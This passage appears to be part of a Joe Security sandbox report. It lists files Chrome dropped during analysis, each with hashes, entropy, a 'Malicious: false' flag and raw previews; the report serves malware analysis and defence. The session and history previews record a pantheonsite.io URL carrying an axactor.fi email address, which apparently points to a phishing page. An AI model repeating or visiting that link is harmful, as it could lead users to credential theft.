C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 1482

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW8:

MD5: 531557DF3F473422DD0102A22E51FE15

SHA1: E2048D9AD1D7E3AC2135A339A6FF91814A473501

SHA-256: FB89F5D2BDE68159700BDE0E306D9E5D5CFF0B0AF733603967D228BB9C286A93

SHA-512: 64EFCB0E9EA0D90E827555B9CA381A34F39AADD524B631CD5E3D4BA1EEF0A27CDEE8116138869A7FD5BE0F647CEEA08F95146273138921C46F1245DA0D0A9C
4A

Malicious: false

Reputation: low

Preview:
.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.
5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5..
..............f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5.....
...........f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 317

Entropy (8bit): 5.22951861224533

Encrypted: false

SSDEEP: 6:ma7I/34q2Pwkn23iKKdK8NIFUtB7OxZmwP79RDkwOwkn23iKKdK8+eLJ:a34vYf5KkpFUtcx/5R5Jf5KkqJ

MD5: 7A9BF86AEC2B16928AA0DEDADE9088AE

SHA1: A429BB1310CD009966CFD9F15664342478A8E21F

SHA-256: 77E79B70941FDEC951638E26A5BD2A5E615F99C8A8B6260F71FE8F743DB2D3A7

SHA-512: E6CEB1CFADEFA0AFABFFD86CA2128EB3FE23E167212825253088E16597A9D9EEF6EBD8940E51B9752F9BA6DEAF60338FEF2A7AC57B3BAA8EC9B2C4898C56C
5D2

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:43.992 554 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/11/25-17
:27:43.994 554 Recovering log #3.2021/11/25-17:27:43.995 554 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.
log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.oldkM (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 317

Entropy (8bit): 5.22951861224533

Encrypted: false

SSDEEP: 6:ma7I/34q2Pwkn23iKKdK8NIFUtB7OxZmwP79RDkwOwkn23iKKdK8+eLJ:a34vYf5KkpFUtcx/5R5Jf5KkqJ

MD5: 7A9BF86AEC2B16928AA0DEDADE9088AE

SHA1: A429BB1310CD009966CFD9F15664342478A8E21F

SHA-256: 77E79B70941FDEC951638E26A5BD2A5E615F99C8A8B6260F71FE8F743DB2D3A7
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SHA-512: E6CEB1CFADEFA0AFABFFD86CA2128EB3FE23E167212825253088E16597A9D9EEF6EBD8940E51B9752F9BA6DEAF60338FEF2A7AC57B3BAA8EC9B2C4898C56C
5D2

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:43.992 554 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/11/25-17
:27:43.994 554 Recovering log #3.2021/11/25-17:27:43.995 554 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.
log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.oldkM (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput
ed_hashes.json
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11217

Entropy (8bit): 6.069602775336632

Encrypted: false

SSDEEP: 192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT

MD5: 90F880064A42B29CCFF51FE5425BF1A3

SHA1: 6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF

SHA-256: 965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268

SHA-512: D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3

Malicious: false

Reputation: low

Preview:
{"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","wifibc1QfMB
N2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","DpjXcO85FF
FY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7CMjYqdHs=",
"yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+wG3QJmuYWE
vYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5
n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhlzuEvv2KRAF
Mms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_1\_metadata\c
omputed_hashes.json
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 23474

Entropy (8bit): 6.059847580419268

Encrypted: false

SSDEEP: 384:7dNc1NC6IcafusK4H1IIGRlhKlkIALQWdynQh2RX4K6M1tVztzr7XSNyzH:7dOscSRKc1nGRSkIhEw6M1tf7SNyb

MD5: 6AE2135EA4583C2F06CDEBEA4AE70FA4

SHA1: DCEB26C7F02D53B5F214305F4C75B4A33A79CDC2

SHA-256: 03AA1944CB3C4F39E20B6361571BC45DFBEBD3FFDA3D8F148CC6ECB29958F903

SHA-512: B5945E67D9F73DD1982D687E5C6D9B5D6B3886C8050363A259755C76AC0F93651F3425FA7C21AA6A13977AC1C8C9322F998F131648CB8909096058D4F0D23312

Malicious: false

Reputation: low

Preview:
{"file_hashes":[{"block_hashes":["DOZdV3jFvk12AM2JNDYKo3KZrIVRprmJ+sVGWkqqE4Q=","rVElW3Hu3T52SzDDUqGT5YiJTBGUv2h3pNuBKFlhZ1U=","X/
3fg4KZxgQ1jBr5QGq0F5JnflgE27UErd88mrxTcxs=","VibLbpy0ig+5INMOU71fTYN76iaka2XVpmm1qAKYsX8=","EChCwCbQHbHQ7oDdGT2qNyiRJ0yck2YC2emNGq
4whtE="],"block_size":4096,"path":"_locales/iw/messages.json"},{"block_hashes":["xklkoZ7iSU1+7cd6DAtEmUC5lPFd+EgcbnzxkOiFwlk=","3KbsvoxKY/3AwqgF2aAdVQ
RpMhsNVRkQ3rx2A6Z2Z+Y=","o9+tsohquaCMj+70zeinRG/hBhA2uLoDl/WoC1uokME=","xV/K8xucyWJELVT8Cqn+ugFjobBVmg8pnmACF+2PP4Y=","p/mvJm2wuCl
32Rx3it654MljKAsMe3S9IDEabc1A8mE=","j8mPrTb5oOsBTj2Fer78JE6xG6+kR64Cvu2SW8d3j/k=","nqSRpGQ3USU2bZJsZ+AzBmFOyann8omwJrhEWFZDTXc=","
eTcQyJUuNuF9yCga/fXGyFCj/pysSceanhBzksdx23s=","Wj7faqnspelXKMvnduxHn1XUBG8TEOqyns7/oUihekM=","VtBwXoadI3EP336rAiL33Gz19KGqtN+RYdKn
MKAXoLw=","iDgLXQqXJp8nCZxgLuC9LXM45DGfufvGnXvmHsn18wc=","g+RfdDfrWTUK0Pkcsbot7NJ4SC9wVRV/dVVMuHAtEj8=","2oC4HcCuXu3VjFf6wnKlznt9u
qQNaebcuWpm/mWj69U=","aMUIpuFqPMiieSaWhIktCK62v2P3OZQAWupWsYzCnvk=","L

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 26624

Entropy (8bit): 2.3432464662677437

Encrypted: false

SSDEEP: 192:eNF4AAR1LyXuqS6WanZA6LI2T/WJFAvL:SFzGL6PVAAI2T

MD5: 75E43D3DAD21849DA533CB59A5F6657A

SHA1: 128D28D8E82CFC5893BBE3BC575B663CF8A0B143

SHA-256: E35082A81EF862F33A2155CA6333C7D36C1C4E1A5B47119619ECBC303ED45D21
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SHA-512: E885678D42A18306E111423AA78AC68DCC7DE20B42EB99283B84F56AD6708567831C7EC2BD8119CAA35AA5DC2108B7EA91F017C2984DAA323480E8BAC07FF11
F

Malicious: false

Reputation: low

Preview:
SQLite format 3......@  ..........................................................................C..........g....._.c...~.2..............................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
.......................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 3:FQxlXNQxlX:qTCT

MD5: 51A2CBB807F5085530DEC18E45CB8569

SHA1: 7AD88CD3DE5844C7FC269C4500228A630016AB5B

SHA-256: 1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC

SHA-512: B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF

Malicious: false

Reputation: low

Preview:
.f.5................f.5...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.241563364761542

Encrypted: false

SSDEEP: 6:ma7V9+q2Pwkn23iKKdK25+Xqx8chI+IFUtB7fANJZmwP7Qg39VkwOwkn23iKKdKI:J9+vYf5KkTXfchI3FUtcJ/Ug39V5Jf5G

MD5: 9DDEAFA0A31647A198F2B9D038161774

SHA1: 560BDADC394F2C8324A7DB79931BA65D67BFF28B

SHA-256: 2FDA6866CD28AB28C32A2B8B37619CB4ACB94A6881C70C23010881D87B29E548

SHA-512: 9BF9072349C16AEA06E8483E863F29D15EB1F112FB8F27351790C8744EAD343BDFA7E39291BE7F6F5DAEA8231ED4DC75D2D37950108C21D18D69F926E27BAFFF

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.722 1b4c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2021/11/25-17:27:47.723 1b4c Recovering log #3.2021/11/25-17:27:47.724 1b4c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.241563364761542

Encrypted: false

SSDEEP: 6:ma7V9+q2Pwkn23iKKdK25+Xqx8chI+IFUtB7fANJZmwP7Qg39VkwOwkn23iKKdKI:J9+vYf5KkTXfchI3FUtcJ/Ug39V5Jf5G

MD5: 9DDEAFA0A31647A198F2B9D038161774

SHA1: 560BDADC394F2C8324A7DB79931BA65D67BFF28B

SHA-256: 2FDA6866CD28AB28C32A2B8B37619CB4ACB94A6881C70C23010881D87B29E548

SHA-512: 9BF9072349C16AEA06E8483E863F29D15EB1F112FB8F27351790C8744EAD343BDFA7E39291BE7F6F5DAEA8231ED4DC75D2D37950108C21D18D69F926E27BAFFF

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.722 1b4c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2021/11/25-17:27:47.723 1b4c Recovering log #3.2021/11/25-17:27:47.724 1b4c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text
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Category: dropped

Size (bytes): 358

Entropy (8bit): 5.23326749300831

Encrypted: false

SSDEEP: 6:ma7CsS39+q2Pwkn23iKKdK25+XuoIFUtB7MNJZmwP7MN9VkwOwkn23iKKdK25+Xp:I39+vYf5KkTXYFUt2NJ/oN9V5Jf5KkTZ

MD5: 76CF823AB6CDF8636549DD1A4D6F964D

SHA1: 3C583C1495C9C4FCCBE539E28C390896056C3849

SHA-256: EAF0C90E752FD8C10282B2545CC6DF25815C8DE9A1AE0D75A8451BA6ECBB6E44

SHA-512: FBF7EAA62D02B74C42786BC0DEE4B2E1E555BB43CE01A19825742F3D418DC6E321D5D7FF1801156C794371EAFB3BE67B96376CA4816582DBA74CC59EEE7735E
4

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.716 1b4c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-
000001.2021/11/25-17:27:47.718 1b4c Recovering log #3.2021/11/25-17:27:47.718 1b4c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data
\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 358

Entropy (8bit): 5.23326749300831

Encrypted: false

SSDEEP: 6:ma7CsS39+q2Pwkn23iKKdK25+XuoIFUtB7MNJZmwP7MN9VkwOwkn23iKKdK25+Xp:I39+vYf5KkTXYFUt2NJ/oN9V5Jf5KkTZ

MD5: 76CF823AB6CDF8636549DD1A4D6F964D

SHA1: 3C583C1495C9C4FCCBE539E28C390896056C3849

SHA-256: EAF0C90E752FD8C10282B2545CC6DF25815C8DE9A1AE0D75A8451BA6ECBB6E44

SHA-512: FBF7EAA62D02B74C42786BC0DEE4B2E1E555BB43CE01A19825742F3D418DC6E321D5D7FF1801156C794371EAFB3BE67B96376CA4816582DBA74CC59EEE7735E
4

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.716 1b4c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-
000001.2021/11/25-17:27:47.718 1b4c Recovering log #3.2021/11/25-17:27:47.718 1b4c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data
\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 330

Entropy (8bit): 5.274375636912548

Encrypted: false

SSDEEP: 6:ma7MVj9+q2Pwkn23iKKdKWT5g1IdqIFUtB7MCJZmwP7Mjr39VkwOwkn23iKKdKW4:Q99+vYf5Kkg5gSRFUtOCJ/Yjr39V5Jfz

MD5: F9DC57E4AC833FAFF95E6086067128F2

SHA1: 334EF3C29673DCC318578D83C9D3E6B147F9EEC1

SHA-256: 997C497F221DF966AACCBAF6038A6F6DB9A9C9830598C97A783E0994E5B1CA61

SHA-512: 6398A0C99231AF4AC05D785DCE9040E0D50C2DBF16425BD0D155292C62C802EA5259E494DB76627A3BE9459950333F91573AC876C3E3AAEAA6AA051F3E942CC8

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.662 1b4c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/11
/25-17:27:47.663 1b4c Recovering log #3.2021/11/25-17:27:47.664 1b4c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM S
tore\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 330

Entropy (8bit): 5.274375636912548

Encrypted: false

SSDEEP: 6:ma7MVj9+q2Pwkn23iKKdKWT5g1IdqIFUtB7MCJZmwP7Mjr39VkwOwkn23iKKdKW4:Q99+vYf5Kkg5gSRFUtOCJ/Yjr39V5Jfz

MD5: F9DC57E4AC833FAFF95E6086067128F2

SHA1: 334EF3C29673DCC318578D83C9D3E6B147F9EEC1

SHA-256: 997C497F221DF966AACCBAF6038A6F6DB9A9C9830598C97A783E0994E5B1CA61
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SHA-512: 6398A0C99231AF4AC05D785DCE9040E0D50C2DBF16425BD0D155292C62C802EA5259E494DB76627A3BE9459950333F91573AC876C3E3AAEAA6AA051F3E942CC8

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.662 1b4c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/11
/25-17:27:47.663 1b4c Recovering log #3.2021/11/25-17:27:47.664 1b4c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM S
tore\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 118784

Entropy (8bit): 0.48665118227029214

Encrypted: false

SSDEEP: 96:v88buU+bDoYysX0uhnydVjN9DLjGQLBE3uj:UU9+bDo3irhnydVj3XBBE3uj

MD5: 93EC72D2DE3818CDE4A3AC60ECE53241

SHA1: BF05A12B261798F2E935C7B7E130FA36B9846BC1

SHA-256: 23A898C909E99AD1BBE1B54F73F2845BC4638CB50721FD22EFE85BCB67F8FDC3

SHA-512: 59AE2BE3A10CB4F64BB18959E040873D2D0D5C2FA5CCE63F7CD8C5B8268E04526F5C25507C667C146152D652ECB1D15E4F62002D5B6873F3B74D51B838391DB4

Malicious: false

Reputation: low

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 766

Entropy (8bit): 5.323873532159068

Encrypted: false

SSDEEP: 12:zmLEJB1S3OrqqkM/8dptHthvGSLOVNStrlp+OavNzcUDSW1nMKBk778B/xgskZBs:8EJGUqW8dpFth6VIrlp+HvNgU/ZMIY7A

MD5: C3088AF329E4AA5F3E6ECFCFF5B25566

SHA1: 166A1DCBEE570922F9FA84FC494B01EE56054312

SHA-256: F824C80BA36154EDF1D08DEF0B66B33738585A5321D38F80B300EE1DF7511FD8

SHA-512: 30455A9A0E016EA6A32AF1B5DE048E320D1F255592C30E11DE25924C1A2AC121BC063C86414FE6D87EE88CBCFA362E60B07BCBB45DEFD330C19F96EDC3DC7B
04

Malicious: false

Reputation: low

Preview:
............"S....axactor..br..ce563d81711943..d..dev..fi..g..html..https..info..io..pantheonsite*........axactor......br......ce563d81711943......d......dev......fi......g......html......ht
tps......info......io......pantheonsite..2.........1........3........4........5........6........7........8........9........a.........b........c.........d..........e..........f.........g........h..........i...........l........m........n.....
....o...........p.........r.........s.........t...........v........x...:n..............................................................................................................B}...y...... .......*Nhttps://dev-ce563d8171194
3.pantheonsite.io/$!&&br.d.g$&!&.html#info@axactor.fi2.AXACTOR:...............J.............(/24:?DL...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 8720

Entropy (8bit): 0.32838810937590235

Encrypted: false

SSDEEP: 6:3l04/fMt76Y4QZeS/rG99pG/UaqR4EZY4QZv8fO88:V04nMWQASjG9LxBQZ8fO88

MD5: 387E40CDD4F9FF3B1E6CBDEE6FE5C42C

SHA1: 6AA0C87FEF4A22B7AB5C61C785052342395EA06B

SHA-256: 797273EF64272894A4326CCD90FB70783AE06344AA3574AB8F19697D2D1082E6

SHA-512: 4BCFB2519DCFE37FACB271695B45AC60C2CD5941EF3648301263C4316793A20851D17167703A87F715876C7E3FE84002965F356B394EFEA21691327949E2177B

Malicious: false

Reputation: low

Preview:
............Y..-..............................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last Session (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 2613

Entropy (8bit): 3.4397078286504827

Encrypted: false

SSDEEP: 24:34Sk2l4tlrlJXlPYCGmugJ1YCGeqYCGJyJqq8KLst6j26CGYCG7:34W4XxTAgJ8GCJstrx

MD5: 3B6C765D15ACA82667EE70E78A21175C

SHA1: 84034AF75841D2E63EEB564DFC235C994C88176A

SHA-256: 4382D5EA659732245F61E7067BA8FF94549FEED00A9B0D7849EE3FEFF286E182

SHA-512: 6FE60661B8D6C956046122622653824CC8126040AD44CFFB99937F4A07AF6D63E9A67794EBF02EC21526AD347F38650DB9FB7AEB1320108E88E8911967D0168C

Malicious: false

Reputation: low

Preview:
SNSS....................................................!.............................................1..,.......$...df5e19ca_82ec_4b0a_b243_50773cd515be........................w..........................................
.......................................5..0.......&...{730C75E3-B87A-4292-818B-DC8F984D08AE}.......................................................N...https://dev-ce563d81711943.pantheonsite
.io/$!&&br.d.g$&!&.html#info@axactor.fi......................................................h.......`.......................................................XN@t....YN@t....H.......`...................................N..
.h.t.t.p.s.:././.d.e.v.-.c.e.5.6.3.d.8.1.7.1.1.9.4.3...p.a.n.t.h.e.o.n.s.i.t.e...i.o./.$.!.&.&.b.r...d...g.$.&.!.&...h.t.m.l.#.i.n.f.o.@.a.x.a.c.t.o.r...f.i.....................................8.......0.......8
....................................................................... .......................................................N...https://dev-ce563d81711943.pa

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last TabsK (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 8

Entropy (8bit): 1.8112781244591325

Encrypted: false

SSDEEP: 3:3Dtn:3h

MD5: 0686D6159557E1162D04C44240103333

SHA1: 053E9DB58E20A67D1E158E407094359BF61D0639

SHA-256: 3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB

SHA-512: 884C0D3594390E2FC0AEAB05460F0783815170C4B57DB749B8AD9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DE58E794550599AAA261120976C

Malicious: false

Reputation: low

Preview:
SNSS....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 7826

Entropy (8bit): 5.382392039172644

Encrypted: false

SSDEEP: 192:9OMpd3fvvE5fgPVZHgQMyiFdYGXdE5fgC6:IWLV5OG6

MD5: 142CF78837623754D53E20D58D2253FC

SHA1: 6EA58994691DA14D5C0DFC86B6CE0C7091E50E7A

SHA-256: 9E03C4A619184E84B3001B0608FE80C4F6803CE96DA308B42D05426C19999D05

SHA-512: 94A174915B4566376BAEBE8076292B6D46DB5FAD375FBE6628E3DBDEF768C9DB23A5EA54E9596634574F377A730107704AFFA100AB0D2FAA13CB704606D2671C

Malicious: false

Reputation: low

Preview:
.ch@.................VERSION.1.8META:chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..............Q_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjb
eemfm..mr.persistent.CloudProvider7.{"cloudEnabled":false,"notifiedHangoutsPrivacy":false}.S_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.persistent.
IdentityService6.{"signedIn":false,"userEmail":null,"kioskAuth":false}.Y_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.HangoutSinkDiscoveryServic
e;.{"cache":{"sinks":{},"g":{},"h":null},"manualHangouts":{}}.a_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.IdGenerator.cast.RequestIdGenerator
..285164000.H_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.LogManager...["[2020-09-30 09:28:42.02][INFO][mr.Init] MR instance ID: a3f601d9-
09ed-4d73-b6cf-2acd12d4689c\n","[2020-09-30 09:28:42.02][INFO][mr.Init] Native Cast MRP is disabled.\n","[2020-09-30 09:28:42.02][INFO][mr.Init] Native Mirroring Ser
vice is enabled.\n","[2020-09-30 09:28:42.02][INFO

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 332

Entropy (8bit): 5.189982999338312

Encrypted: false

SSDEEP: 6:ma7ADyq2Pwkn23iKKdK8a2jMGIFUtB7w1ZmwP7VNjRkwOwkn23iKKdK8a2jMmLJ:MDyvYf5Kk8EFUtU/ZNjR5Jf5Kk8bJ

Copyright Joe Security LLC 2021 Page 23 of 214



MD5: 6AA764B6F207D0307898DB24DB89A654

SHA1: 3616927DFEACDA5F1457CF0ABFD4D21BED1321A9

SHA-256: DEF9B2E8B683AEC6FEFDF058D944AEC950B4DF2C5013B712BB546357A9396770

SHA-512: 9CB9F150EA868E07D10B7C53C7E4E799F179FADE4ECA53CC6E9A58B3F972B13F325F73DB41542019357E9F25C12DA65AD5420E077E83AD3E7D376A8BA0D54B8
3

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:41.907 1b94 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2021/1
1/25-17:27:41.910 1b94 Recovering log #3.2021/11/25-17:27:41.913 1b94 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\
leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 332

Entropy (8bit): 5.189982999338312

Encrypted: false

SSDEEP: 6:ma7ADyq2Pwkn23iKKdK8a2jMGIFUtB7w1ZmwP7VNjRkwOwkn23iKKdK8a2jMmLJ:MDyvYf5Kk8EFUtU/ZNjR5Jf5Kk8bJ

MD5: 6AA764B6F207D0307898DB24DB89A654

SHA1: 3616927DFEACDA5F1457CF0ABFD4D21BED1321A9

SHA-256: DEF9B2E8B683AEC6FEFDF058D944AEC950B4DF2C5013B712BB546357A9396770

SHA-512: 9CB9F150EA868E07D10B7C53C7E4E799F179FADE4ECA53CC6E9A58B3F972B13F325F73DB41542019357E9F25C12DA65AD5420E077E83AD3E7D376A8BA0D54B8
3

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:41.907 1b94 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2021/1
1/25-17:27:41.910 1b94 Recovering log #3.2021/11/25-17:27:41.913 1b94 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\
leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent StateMP (copy)
